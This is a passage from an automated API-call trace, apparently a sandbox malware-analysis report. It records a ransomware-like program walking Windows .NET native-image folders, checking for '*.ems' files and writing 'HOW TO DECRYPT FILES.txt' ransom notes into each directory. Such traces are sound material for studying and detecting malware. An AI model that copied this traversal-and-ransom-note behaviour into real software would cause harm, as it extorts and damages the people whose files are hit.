lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2e29110, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa2e753d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa2e753d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0120.754] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0120.754] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2e29110, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa2e753d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa2e753d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.754] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0120.754] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0120.754] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a70eb0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa2a70eb0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa2e753d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x237400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.ServiceModel.Activities.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0120.754] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0120.755] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.ServiceModel.Activities.ni.dll") returned -1 [0120.755] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.ServiceModel.Activities.ni.dll") returned -1 [0120.755] lstrcmpiA (lpString1="", lpString2="System.ServiceModel.Activities.ni.dll") returned -1 [0120.755] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14259fd9#\\5802887b8b6900a064d0b61cd0ae7487\\*.*") returned="*.*" [0120.755] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14259fd9#\\5802887b8b6900a064d0b61cd0ae7487\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14259fd9#\\5802887b8b6900a064d0b61cd0ae7487\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14259fd9#\\5802887b8b6900a064d0b61cd0ae7487\\" [0120.755] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14259fd9#\\5802887b8b6900a064d0b61cd0ae7487\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14259fd9#\\5802887b8b6900a064d0b61cd0ae7487\\") returned="" [0120.755] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14259fd9#\\5802887b8b6900a064d0b61cd0ae7487\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14259fd9#\\5802887b8b6900a064d0b61cd0ae7487\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14259fd9#\\5802887b8b6900a064d0b61cd0ae7487\\HOW TO DECRYPT FILES.txt" [0120.755] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14259fd9#\\5802887b8b6900a064d0b61cd0ae7487\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.serv14259fd9#\\5802887b8b6900a064d0b61cd0ae7487\\how to decrypt files.txt")) returned 0xffffffff [0120.755] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14259fd9#\\5802887b8b6900a064d0b61cd0ae7487\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.serv14259fd9#\\5802887b8b6900a064d0b61cd0ae7487\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0120.758] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0120.758] CloseHandle (hObject=0x90) returned 1 [0120.758] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14259fd9#\\5802887b8b6900a064d0b61cd0ae7487\\", lpString2="System.ServiceModel.Activities.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14259fd9#\\5802887b8b6900a064d0b61cd0ae7487\\System.ServiceModel.Activities.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14259fd9#\\5802887b8b6900a064d0b61cd0ae7487\\System.ServiceModel.Activities.ni.dll" [0120.758] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14259fd9#\\5802887b8b6900a064d0b61cd0ae7487\\System.ServiceModel.Activities.ni.dll", pszSpec="*.ems") returned 0 [0120.759] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2e29110, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa2e29110, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa2e4f270, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0xac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceModel.Activities.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0120.759] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0120.759] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.ServiceModel.Activities.ni.dll.aux") returned -1 [0120.759] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.ServiceModel.Activities.ni.dll.aux") returned -1 [0120.759] lstrcmpiA (lpString1="", lpString2="System.ServiceModel.Activities.ni.dll.aux") returned -1 [0120.759] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14259fd9#\\5802887b8b6900a064d0b61cd0ae7487\\System.ServiceModel.Activities.ni.dll") returned="System.ServiceModel.Activities.ni.dll" [0120.759] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14259fd9#\\5802887b8b6900a064d0b61cd0ae7487\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14259fd9#\\5802887b8b6900a064d0b61cd0ae7487\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14259fd9#\\5802887b8b6900a064d0b61cd0ae7487\\" [0120.759] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14259fd9#\\5802887b8b6900a064d0b61cd0ae7487\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14259fd9#\\5802887b8b6900a064d0b61cd0ae7487\\") returned="" [0120.759] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14259fd9#\\5802887b8b6900a064d0b61cd0ae7487\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14259fd9#\\5802887b8b6900a064d0b61cd0ae7487\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14259fd9#\\5802887b8b6900a064d0b61cd0ae7487\\HOW TO DECRYPT FILES.txt" [0120.759] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14259fd9#\\5802887b8b6900a064d0b61cd0ae7487\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.serv14259fd9#\\5802887b8b6900a064d0b61cd0ae7487\\how to decrypt files.txt")) returned 0x20 [0120.759] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14259fd9#\\5802887b8b6900a064d0b61cd0ae7487\\", lpString2="System.ServiceModel.Activities.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14259fd9#\\5802887b8b6900a064d0b61cd0ae7487\\System.ServiceModel.Activities.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14259fd9#\\5802887b8b6900a064d0b61cd0ae7487\\System.ServiceModel.Activities.ni.dll.aux" [0120.759] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14259fd9#\\5802887b8b6900a064d0b61cd0ae7487\\System.ServiceModel.Activities.ni.dll.aux", pszSpec="*.ems") returned 0 [0120.760] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2e29110, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa2e29110, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa2e4f270, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0xac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceModel.Activities.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0120.760] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0120.760] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2e29110, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa2e753d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa2e753d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="5802887b8b6900a064d0b61cd0ae7487", cAlternateFileName="580288~1")) returned 0 [0120.760] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0120.760] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1df1b30, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa1df1b30, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa1df1b30, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Serv14b62006#", cAlternateFileName="SYA413~1.SER")) returned 1 [0120.760] lstrcmpA (lpString1=".", lpString2="System.Serv14b62006#") returned -1 [0120.760] lstrcmpA (lpString1="..", lpString2="System.Serv14b62006#") returned -1 [0120.760] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0120.760] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Serv14b62006#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14b62006#") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14b62006#" [0120.760] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14b62006#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1df1b30, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa1df1b30, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa1df1b30, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0120.761] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0120.761] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1df1b30, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa1df1b30, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa1df1b30, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.761] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0120.761] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0120.761] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1df1b30, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa1df1b30, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa1df1b30, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="a95f8e1301bd1eff684a8b33c50e0986", cAlternateFileName="A95F8E~1")) returned 1 [0120.761] lstrcmpA (lpString1=".", lpString2="a95f8e1301bd1eff684a8b33c50e0986") returned -1 [0120.761] lstrcmpA (lpString1="..", lpString2="a95f8e1301bd1eff684a8b33c50e0986") returned -1 [0120.761] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14b62006#\\*.*") returned="*.*" [0120.761] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14b62006#\\", lpString2="a95f8e1301bd1eff684a8b33c50e0986" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14b62006#\\a95f8e1301bd1eff684a8b33c50e0986") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14b62006#\\a95f8e1301bd1eff684a8b33c50e0986" [0120.762] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14b62006#\\a95f8e1301bd1eff684a8b33c50e0986\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1df1b30, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa1df1b30, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa1df1b30, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0120.769] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0120.769] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1df1b30, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa1df1b30, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa1df1b30, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.769] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0120.769] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0120.769] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1df1b30, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa1df1b30, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa1df1b30, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x9fc00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.ServiceModel.Activation.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0120.769] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0120.769] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.ServiceModel.Activation.ni.dll") returned -1 [0120.769] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.ServiceModel.Activation.ni.dll") returned -1 [0120.769] lstrcmpiA (lpString1="", lpString2="System.ServiceModel.Activation.ni.dll") returned -1 [0120.769] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14b62006#\\a95f8e1301bd1eff684a8b33c50e0986\\*.*") returned="*.*" [0120.770] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14b62006#\\a95f8e1301bd1eff684a8b33c50e0986\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14b62006#\\a95f8e1301bd1eff684a8b33c50e0986\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14b62006#\\a95f8e1301bd1eff684a8b33c50e0986\\" [0120.770] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14b62006#\\a95f8e1301bd1eff684a8b33c50e0986\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14b62006#\\a95f8e1301bd1eff684a8b33c50e0986\\") returned="" [0120.770] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14b62006#\\a95f8e1301bd1eff684a8b33c50e0986\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14b62006#\\a95f8e1301bd1eff684a8b33c50e0986\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14b62006#\\a95f8e1301bd1eff684a8b33c50e0986\\HOW TO DECRYPT FILES.txt" [0120.770] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14b62006#\\a95f8e1301bd1eff684a8b33c50e0986\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.serv14b62006#\\a95f8e1301bd1eff684a8b33c50e0986\\how to decrypt files.txt")) returned 0xffffffff [0120.770] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14b62006#\\a95f8e1301bd1eff684a8b33c50e0986\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.serv14b62006#\\a95f8e1301bd1eff684a8b33c50e0986\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0120.773] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0120.773] CloseHandle (hObject=0x90) returned 1 [0120.773] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14b62006#\\a95f8e1301bd1eff684a8b33c50e0986\\", lpString2="System.ServiceModel.Activation.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14b62006#\\a95f8e1301bd1eff684a8b33c50e0986\\System.ServiceModel.Activation.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14b62006#\\a95f8e1301bd1eff684a8b33c50e0986\\System.ServiceModel.Activation.ni.dll" [0120.773] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14b62006#\\a95f8e1301bd1eff684a8b33c50e0986\\System.ServiceModel.Activation.ni.dll", pszSpec="*.ems") returned 0 [0120.774] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1df1b30, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa1df1b30, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa1df1b30, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0xc0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceModel.Activation.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0120.774] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0120.774] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.ServiceModel.Activation.ni.dll.aux") returned -1 [0120.774] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.ServiceModel.Activation.ni.dll.aux") returned -1 [0120.774] lstrcmpiA (lpString1="", lpString2="System.ServiceModel.Activation.ni.dll.aux") returned -1 [0120.774] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14b62006#\\a95f8e1301bd1eff684a8b33c50e0986\\System.ServiceModel.Activation.ni.dll") returned="System.ServiceModel.Activation.ni.dll" [0120.774] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14b62006#\\a95f8e1301bd1eff684a8b33c50e0986\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14b62006#\\a95f8e1301bd1eff684a8b33c50e0986\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14b62006#\\a95f8e1301bd1eff684a8b33c50e0986\\" [0120.774] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14b62006#\\a95f8e1301bd1eff684a8b33c50e0986\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14b62006#\\a95f8e1301bd1eff684a8b33c50e0986\\") returned="" [0120.774] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14b62006#\\a95f8e1301bd1eff684a8b33c50e0986\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14b62006#\\a95f8e1301bd1eff684a8b33c50e0986\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14b62006#\\a95f8e1301bd1eff684a8b33c50e0986\\HOW TO DECRYPT FILES.txt" [0120.774] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14b62006#\\a95f8e1301bd1eff684a8b33c50e0986\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.serv14b62006#\\a95f8e1301bd1eff684a8b33c50e0986\\how to decrypt files.txt")) returned 0x20 [0120.774] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14b62006#\\a95f8e1301bd1eff684a8b33c50e0986\\", lpString2="System.ServiceModel.Activation.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14b62006#\\a95f8e1301bd1eff684a8b33c50e0986\\System.ServiceModel.Activation.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14b62006#\\a95f8e1301bd1eff684a8b33c50e0986\\System.ServiceModel.Activation.ni.dll.aux" [0120.774] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14b62006#\\a95f8e1301bd1eff684a8b33c50e0986\\System.ServiceModel.Activation.ni.dll.aux", pszSpec="*.ems") returned 0 [0120.774] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1df1b30, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa1df1b30, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa1df1b30, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0xc0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceModel.Activation.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0120.775] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0120.775] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1df1b30, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa1df1b30, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa1df1b30, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="a95f8e1301bd1eff684a8b33c50e0986", cAlternateFileName="A95F8E~1")) returned 0 [0120.775] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0120.775] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6eba5d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa6eba5d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa6eba5d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Serv30e99c02#", cAlternateFileName="SY225B~1.SER")) returned 1 [0120.775] lstrcmpA (lpString1=".", lpString2="System.Serv30e99c02#") returned -1 [0120.775] lstrcmpA (lpString1="..", lpString2="System.Serv30e99c02#") returned -1 [0120.775] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0120.775] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Serv30e99c02#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#") 